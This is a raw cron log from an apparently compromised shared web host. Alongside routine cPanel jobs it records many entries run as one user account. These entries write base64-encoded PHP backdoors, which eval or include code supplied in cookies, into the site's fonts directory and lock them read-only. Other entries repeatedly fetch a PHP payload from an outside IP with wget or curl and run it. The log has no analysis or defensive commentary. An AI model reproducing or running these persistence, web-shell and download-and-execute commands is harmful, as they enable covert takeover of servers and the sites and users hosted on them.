Sep 11 12:11:01 ip-184-168-122-23 CROND[31044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:11:01 ip-184-168-122-23 CROND[31043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:11:01 ip-184-168-122-23 CROND[31045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:12:01 ip-184-168-122-23 CROND[31137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:12:01 ip-184-168-122-23 CROND[31139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:12:01 ip-184-168-122-23 CROND[31141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:12:01 ip-184-168-122-23 CROND[31142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:12:01 ip-184-168-122-23 CROND[31140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:13:01 ip-184-168-122-23 CROND[31226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:13:01 ip-184-168-122-23 CROND[31227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:13:01 ip-184-168-122-23 CROND[31228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:13:01 ip-184-168-122-23 CROND[31229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:14:01 ip-184-168-122-23 CROND[31320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:14:01 ip-184-168-122-23 CROND[31323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:14:01 ip-184-168-122-23 CROND[31322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:14:01 ip-184-168-122-23 CROND[31327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:14:01 ip-184-168-122-23 CROND[31326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:15:01 ip-184-168-122-23 CROND[31613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:15:01 ip-184-168-122-23 CROND[31616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:15:01 ip-184-168-122-23 CROND[31620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:15:01 ip-184-168-122-23 CROND[31619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:15:01 ip-184-168-122-23 CROND[31622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:15:01 ip-184-168-122-23 CROND[31623]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 12:15:01 ip-184-168-122-23 CROND[31624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:15:01 ip-184-168-122-23 CROND[31621]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 12:16:01 ip-184-168-122-23 CROND[32007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:16:01 ip-184-168-122-23 CROND[32009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:16:01 ip-184-168-122-23 CROND[32011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:16:01 ip-184-168-122-23 CROND[32014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:16:01 ip-184-168-122-23 CROND[32012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:16:01 ip-184-168-122-23 CROND[32013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:17:01 ip-184-168-122-23 CROND[32371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:17:01 ip-184-168-122-23 CROND[32372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:17:01 ip-184-168-122-23 CROND[32370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:17:01 ip-184-168-122-23 CROND[32373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:18:01 ip-184-168-122-23 CROND[32529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:18:01 ip-184-168-122-23 CROND[32532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:18:01 ip-184-168-122-23 CROND[32531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:18:01 ip-184-168-122-23 CROND[32533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:18:01 ip-184-168-122-23 CROND[32534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:19:02 ip-184-168-122-23 CROND[32756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:19:02 ip-184-168-122-23 CROND[32758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:19:02 ip-184-168-122-23 CROND[32760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:19:02 ip-184-168-122-23 CROND[32759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:20:01 ip-184-168-122-23 CROND[521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:20:01 ip-184-168-122-23 CROND[522]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:20:01 ip-184-168-122-23 CROND[526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:20:01 ip-184-168-122-23 CROND[531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:20:01 ip-184-168-122-23 CROND[533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:20:01 ip-184-168-122-23 CROND[534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:20:01 ip-184-168-122-23 CROND[532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:20:01 ip-184-168-122-23 CROND[529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:20:01 ip-184-168-122-23 CROND[530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:21:01 ip-184-168-122-23 CROND[853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:21:01 ip-184-168-122-23 CROND[854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:21:01 ip-184-168-122-23 CROND[857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:21:01 ip-184-168-122-23 CROND[858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:22:01 ip-184-168-122-23 CROND[1052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:22:01 ip-184-168-122-23 CROND[1055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:22:01 ip-184-168-122-23 CROND[1057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:22:01 ip-184-168-122-23 CROND[1056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:22:01 ip-184-168-122-23 CROND[1054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:23:01 ip-184-168-122-23 CROND[1252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
